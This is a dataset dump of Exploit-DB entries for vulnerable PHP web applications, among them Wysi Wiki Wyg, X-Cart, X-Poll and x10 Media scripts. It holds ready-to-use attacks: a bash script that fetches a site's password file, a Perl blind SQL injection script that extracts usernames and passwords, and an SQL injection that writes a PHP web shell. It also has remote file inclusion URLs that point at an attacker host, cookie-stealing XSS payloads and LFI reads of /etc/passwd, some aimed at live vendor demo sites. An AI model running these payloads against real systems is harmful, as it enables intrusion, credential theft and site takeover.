deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6042
Description: Wysi Wiki Wyg 1.0 - Local File Inclusion / Cross-Site Scripting / PHPInfo
Type: webapps
Platform: php
Date: 2008-10-20
Author: StAkeR

Exploit:
/*
   
   Wysi Wiki Wyg 1.0 (LFI,XSS,PHPInfo) Remote Vulnerabilities
   ----------------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/wysiwikiwyg10.zip
   ----------------------------------------------------------

  1- PHPInfo Disclosure 
  -  index.php?categup=isset
  
  2- Local File Inclusion (LFI) (MQ Off)
  -  index.php?c=../../../&a=etc/passwd%00
  
  3- Cross Site Scripting (XSS)
  -  index.php?c=wikiwizi&a=recherche&s=<script>[Javascript]</script>



*/

# milw0rm.com [2008-10-20]
Exploit-DB #7434
Description: Wysi Wiki Wyg 1.0 - Remote Password Retrieve
Type: webapps
Platform: php
Date: 2008-12-12
Author: StAkeR

Exploit:
#!/bin/bash
# Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit
# by athos - staker[at]hotmail[dot]it

host=$1;
name=$2;
path='/config/passwd.txt';

if [ "$name" = "" ]; then
        echo "Usage: bash $0 [host/path] [filename]";
        echo "by athos - staker[at]hotmail[dot]it";
        exit;
fi;      

curl $host/$path > $name;
clear
cat $name;

# milw0rm.com [2008-12-12]
Exploit-DB #42571
Description: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022
# Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
#
# .............
# <?php
# $file = base64_decode($_GET['id']);
# 
# if (file_exists($file)) {
#     header('Content-Description: File Transfer');
#     header('Content-Type: application/octet-stream');
#     header('Content-Disposition: attachment; filename="'.basename($file).'"');
#     header('Expires: 0');
#     header('Cache-Control: must-revalidate');
#     header('Pragma: public');
#     header('Content-Length: ' . filesize($file));
#     readfile($file);
#     exit;
# }
# ?>
# .............
# Proof of Concept:
#
# http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64]
# 
# Etc...
# # # # #
Exploit-DB #30076
Description: WYYS 1.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-23
Author: vagrant

Exploit:
source: https://www.securityfocus.com/bid/24117/info

WÃYS is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

WÃYS 1.0 is reported vulnerable; other versions may also be affected. 

http://www.example.com/index.php?Page=Sayfa&No="><script>alert(document.cookie)</script>
Exploit-DB #8258
Description: X-BLC 0.2.0 - 'get_read.php?section' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-23
Author: dun

Exploit:
#!/usr/bin/perl -w

#  :::::::-.   ...    ::::::.    :::.
#   ;;,   `';, ;;     ;;;`;;;;,  `;;;
#   `[[     [[[['     [[[  [[[[[. '[[
#    $$,    $$$$      $$$  $$$ "Y$c$$
#    888_,o8P'88    .d888  888    Y88
#    MMMMP"`   "YmmMMMM""  MMM     YM
#   [ Discovered by dun \ dun[at]strcpy.pl ]
#
######################################################
#  [ xblc <= 0.2.0 ]   SQL Injection Vulnerability   #
######################################################
# 
# Script: "X-BLC is a dynamic web content management system written in PHP..."
#
# Script site: http://www.biolawcom.de/xblc/ ,	http://sourceforge.net/projects/xblc/
# Download: http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull
#
# Usage: perl expl.pl http://www.biolawcom.de/demo/
#
#######################################################
#
# [ dun / 2009 ] 

use IO::Socket;
use Socket;
use IO::Select;

my @tables=("id","login_name","password","email","status");

if(scalar(@ARGV) < 1) {
	print "\nUsage: perl expl.pl http://site.com/path/\n\n";
	exit;
}

foreach $t (@tables) {
$i=1;
print $t." = ";
  do {
	$path 	= "include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(".$t.",".$i.",1))+FROM+users/*";
	$host 	= $ARGV[0].$path;
	#############################################
	# $page = http_query($host, $proxy, $port); #
	#############################################
	$page = http_query($host);
	$page =~ /guest=(.*)\,runTime=/;
	$char=$1;
	print chr($char);
	$i++;
  } while($char != 0);
  print "\n";
}
  
sub http_query {
 my $page="";
 my $url=$_[0];
 if(defined($_[1]) && defined($_[2])) {
	$host=$_[1];
	$port=$_[2];
	$get="GET $url HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
 } else {
	$port=80;
	$url=~s/http:\/\///;
	$host=$url;
	$query=$url;
	$host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
	$query=~s/$host//;
	if ($query eq "") {$query="/";};
	$get="GET $query HTTP/1.0\r\nHost: $host\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
 }
 my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
 print $sock $get;
 my @r = <$sock>;
 $page="@r";
 close($sock);
 	
 return $page;
}

# milw0rm.com [2009-03-23]
Exploit-DB #4396
Description: X-Cart - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-09-11
Author: aLiiF

Exploit:
## xCart Remote file inclusion ##

## Download script : http://www.x-cart.com//

## Discovered By : aLiiF a.k.a [arif] @debuteam 07/09/2007

## HomePage : http://www.debuteam.net//

## Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0n_g0ku^
Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKey
s3ng0k home_edition Holong home_edition2001
th0nk Scr3W_W0rm jayoes and aLL @Debutem @Mildnet



########### ###########
## ##
## 333 444555 HH HH KK K ##
##[PII_REDACTED][PII_REDACTED]311 HH HH KK K ##
##[PII_REDACTED]2 444 55 11 11 HH HH #### 00000 KKKK ##
## 333 333 22 444 55 11 11 HHaaHH ## 00 KKK ##
## 333 333 22 444 55 11 11 HH HH ##### 00 KKKK ##
## 333 333 22 444 555 11 11 HH HH # ## 00 KK K ##
## 333 333 22[PII_REDACTED]311 HH HH ##### 00000 KK K ##
## ##
########## ##########



/*****************************************************************************\
+-----------------------------------------------------------------------------+
| X-Cart |
| Copyright (c) 2001-2004 Ruslan R. Fazliev <rrf@rrf.ru> |
| All rights reserved. |
+-----------------------------------------------------------------------------+
#
# $Id: config.php,v 1.297.2.9 2004/02/05 12:25:43 mclap Exp $
#
# Global definitions & common functions
#

@include $xcart_dir."/prepare.php";

#
# Create Smarty object
#
if (!@include $xcart_dir."/smarty.php") {


#################################################################################


## Dork : "X-CART. Powerful PHP shopping cart software" ##
## ##


=-=-=-=-= () ExPloit () =-=-=-=-= =-=-=-=-= () ExPloit () =-=-=-=-=


## http://www.target.com/[xcart-path]/config.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/prepare.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/smarty.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/customer/product.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/provider/auth.php?xcart_dir=http://urhost/[inject]?
## http://www.target.com/[xcart-path]/admin/auth.php?xcart_dir=http://urhost/[inject]?

===================================================================


## Contack person : aliif@debuteam.net

## ViVa Debuteam !!! 

# milw0rm.com [2007-09-11]
Exploit-DB #43842
Description: X-Cart < 4.1.3 - Arbitrary Variable Overwrite
Type: webapps
Platform: php
Date: 2016-08-18
Author: GulfTech Security

Exploit:
X-Cart Arbitrary Variable Overwrite

Vendor: Qualiteam
Product: X-Cart
Version: <= 4.1.3
Website: http://www.x-cart.com/

BID: 20108 
CVE: CVE-2006-4904 
OSVDB: 28957 
SECUNIA: 22005 

Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory. 


Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question. 
if ($HTTP_POST_VARS) {
	foreach ($HTTP_POST_VARS as $var => $value) {
		$$var = $value;
	}
}

As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables. 

stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell 

By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases. 


Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
Exploit-DB #33267
Description: X-Cart Email Subscription - 'email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-06
Author: Paulo Santos

Exploit:
source: https://www.securityfocus.com/bid/36601/info

X-Cart is prone to a cross-site scripting vulnerability in the email subscription component because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<plaintext/>
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<script>alert(document.cookie);//<</script>
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<iframe src=http://www.google.com.br width=800>
Exploit-DB #20010
Description: X-Cart Gold 4.5 - 'products_map.php?symb' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-21
Author: muts

Exploit:
######################################################################################
# Exploit Title: X-Cart Gold 4.5 (products_map.php symb parameter) XSS Vulnerability
# Date: Jul 21 2012
# Author: muts
# Version: X-Cart Gold 4.5
# Vendor URL: http://www.x-cart.com/
######################################################################################

X-Cart Gold implements a degree of XSS filtering but it is incomplete.
The "symb" parameter of "products_map.php" is vulnerable to XSS and can be bypassed by using
HTML anchor methods and URL encoding.

Timeline:

29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
21 Jul 2012: Public Disclosure

PoC:

http://victim/xcart/products_map?symb=%22%20onmousemove=javascript:eval%28unescape%28%26quot%3balert%28%22xss%22%29%3B%26quot%3B%29%29%3EAAAAAA
Exploit-DB #27533
Description: X-Changer 0.20 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-30
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17322/info

X-Changer is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 0.20 is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/index.php?from=[sql]&into=[sql]&value=1&action=calculate
http://www.example.com/index.php?action=edit&id=[sql]
Exploit-DB #3043
Description: x-news 1.1 - 'users.txt' Remote Password Disclosure
Type: webapps
Platform: php
Date: 2006-12-30
Author: bd0rk

Exploit:
                           x-news 1.1 Password Disclosure Vulnerability


Affected Software: x-news 1.1

x-news Website: http://xqus.com

Bugfounder: bd0rk

Website: www.soh-crew.it.tt

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, Perle, TheJT, ajann

[+]Exploit: http://[target]/[x_news_path]/news/db/users.txt

Showexample: |username|MD5-Hash|eMail|

# milw0rm.com [2006-12-30]
Exploit-DB #28304
Description: X-Scripts X-Poll 1.10 - 'top.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-29
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19236/info

X-Poll is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

X-Poll 1.10 is vulnerable to this issue.

http://www.example.com/poll/top.php?poll=' AND 0 UNION SELECT 0, '%3C%3Fsystem%28%24_GET%5B%22c%22%5D%29%3B%3F%3E' , 1, 2, 3, 4, 5, 6, 7, 8,'' INTO
OUTFILE '/usr/webserver/public_htm/rshell.php
Exploit-DB #28303
Description: X-Scripts X-Protection 1.10 - 'Protect.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-29
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19235/info

X-Protection is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

X-Protection 1.10 is vulnerable to this issue.

POST:
username='/*&password=*/%20AND%201=0%20UNION%20SELECT%20999/*
Exploit-DB #9340
Description: x10 media adult script 1.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-03
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] x10 Media Adult Script 1.7 Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ x10 Media Adult Script 1.7 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.x10media.com/media-script  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered By x10media.com ]
        [Â»] Price:              [ $45.99 USD ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===

[Â»] http://www.site.com/patch/report.php?id=[SQL]

[Â»] http://www.x10media.com/adult/report.php?id=null+union+select+version()

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/report.php?id=[BLIND]

[Â»] http://www.x10media.com/adult/report.php?id=77917 and 1=null+union+select+version()

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/includes/video_ad.php?pic_id=[XSS]
[Â»] http://www.site.com/patch/linkvideos_listing.php?category=[XSS]
[Â»] http://www.site.com/patch/templates/header1.php?id=[XSS]
[Â»] http://www.site.com/patch/video_listing.php?category=[NB]&sort=[NB]&key=[XSS]

[Â»] http://www.x10media.com/adult/includes/video_ad.php?pic_id="><script>alert(document.cookie);</script>
[Â»] http://www.x10media.com/adult/linkvideos_listing.php?category="><script>alert(document.cookie);</script>
[Â»] http://www.x10media.com/adult/templates/header1.php?id="><script>alert(document.cookie);</script>
[Â»] http://www.x10media.com/adult/video_listing.php?category=42&sort=2&key="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #12042
Description: x10 mirco blogging 121 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-04
Author: ITSecTeam

Exploit:
===========================================
x10 mirco blogging V121 SQL Injection Vulnerability
===========================================

############################################################################
#Title:             x10 mirco blogging Sql Injection                        
#Vendor:            www.x10media.com/micro-blog-script                      
#Dork:              "mirco blogging"                                        

############################################################################
#AUTHOR:            ITSecTeam                                               
#Email:             Bug@ITSecTeam.com                                       
#Website:           http://www.itsecteam.com                                
#Forum :            http://forum.ITSecTeam.com                              
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability35.htm
#Thanks:            Pejvak,M3hr@nS,r3dm0v3,am!rkh@n                         
############################################################################


Exploit :
############################################################################
http://Site.com/x10_mirco_blogging_v121/all_blogs.php?user=SqlInjection Code
############################################################################
Exploit-DB #34656
Description: x10 MP3 Automatic Search Engine 1.6.5 - '/includes/video_ad.php?pic_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info

x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/video_ad.php?pic_id=[XSS]
Exploit-DB #34657
Description: x10 MP3 Automatic Search Engine 1.6.5 - 'linkvideos_listing.php?category' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
 
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/linkvideos_listing.php?category=[XSS]
Exploit-DB #34663
Description: x10 MP3 Automatic Search Engine 1.6.5b - '/adult/video_listing.php?key' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
       
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
       
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/adult/video_listing.php?category=42&sort=2&key="><script>alert(document.cookie);</script>
Exploit-DB #34658
Description: x10 MP3 Automatic Search Engine 1.6.5b - '/templates/header1.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
  
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/templates/header1.php?id=[XSS]
Exploit-DB #34660
Description: x10 MP3 Automatic Search Engine 1.6.5b - 'embed.php?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
    
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/embed.php?name="><script>alert(document.cookie);</script>